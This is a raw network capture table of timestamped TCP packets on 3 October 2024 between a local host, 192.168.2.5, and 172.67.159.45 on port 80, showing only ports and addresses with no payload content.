Oct 3, 2024 05:02:57.758433104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758439064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758455992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758459091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758480072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758486032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758507013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758524895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758539915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758568048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758589983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758610010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758627892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758651972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758670092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758696079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.758806944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758806944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758806944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758807898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758807898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758807898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758807898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.758807898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759053946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759073019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759098053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759104967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759111881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759129047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759147882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759166956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759320021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759344101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759366035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759375095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759375095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759392977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759406090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759435892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759449005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759457111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759484053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759485960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759502888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759505987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759526014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759530067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759545088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759548903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759593010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759593010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759809971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759829998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759857893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759871960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759876013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759891987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759917974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759919882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759939909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759944916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.759963989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759983063 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.759991884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760040998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760211945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760265112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760358095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760387897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760406971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760410070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760430098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760435104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760448933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760461092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760483027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760488987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760504007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760507107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760526896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760529995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760541916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760551929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760571003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760587931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760590076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760607958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760617018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760626078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760637999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760646105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760662079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760672092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.760685921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.760723114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761354923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761374950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761399031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761410952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761425972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761430979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761449099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761451006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761471033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761471033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761495113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761496067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761512995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761516094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761534929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761539936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761559010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761559010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761584997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761596918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761605978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761615038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761630058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761642933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761650085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761660099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761674881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.761683941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761703968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.761739969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762309074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762327909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762351990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762361050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762377024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762382030 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762396097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762401104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762420893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762422085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762435913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762440920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762465954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762473106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762485027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762492895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762510061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762512922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762528896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762536049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762552977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762554884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762578011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762583971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762602091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762603998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762619972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.762622118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762649059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.762685061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763252020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763272047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763295889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763307095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763319016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763325930 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763343096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763345957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763359070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763364077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763382912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763401985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763408899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763422012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763447046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763453007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763468027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763473034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763489008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763489962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763511896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763514042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763534069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763539076 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763556957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763557911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763578892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.763580084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763600111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.763623953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764161110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764180899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764204025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764214039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764234066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764247894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764251947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764267921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764292002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764297962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764309883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764314890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764334917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764348984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764359951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764377117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764378071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764400005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764421940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764421940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764441013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764444113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764465094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.764472008 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764488935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.764508009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.850749969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.850893974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.850929022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.850963116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.850996017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851049900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851056099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851051092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851051092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851051092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851051092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851090908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851124048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851138115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851138115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851157904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851171017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851192951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851208925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851222992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851247072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851273060 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851377010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851434946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851469040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851478100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851501942 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851514101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851535082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851538897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851558924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851569891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851599932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851603985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851619959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851636887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851655006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851670980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851689100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851739883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851866007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851900101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851921082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851934910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851950884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.851964951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.851994991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852015018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852229118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852262020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852284908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852294922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852309942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852327108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852346897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852360964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852375984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852394104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852418900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852432966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852447033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852466106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852484941 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852499008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852519035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852531910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852552891 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852566004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852581978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852598906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852617025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852633953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852655888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852667093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.852684021 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.852720022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853179932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853213072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853234053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853245974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853262901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853280067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853301048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853312969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853329897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853347063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853368044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853379011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853390932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853411913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853442907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853444099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853468895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853477001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853497982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853511095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853526115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853543997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853562117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853576899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853600025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853610039 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853622913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853642941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.853663921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.853692055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854124069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854157925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854176044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854191065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854209900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854223967 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854244947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854255915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854273081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854289055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854312897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854321957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854336023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.854355097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.854373932 CEST	49705	80	192.168.2.5	172.67.159.45
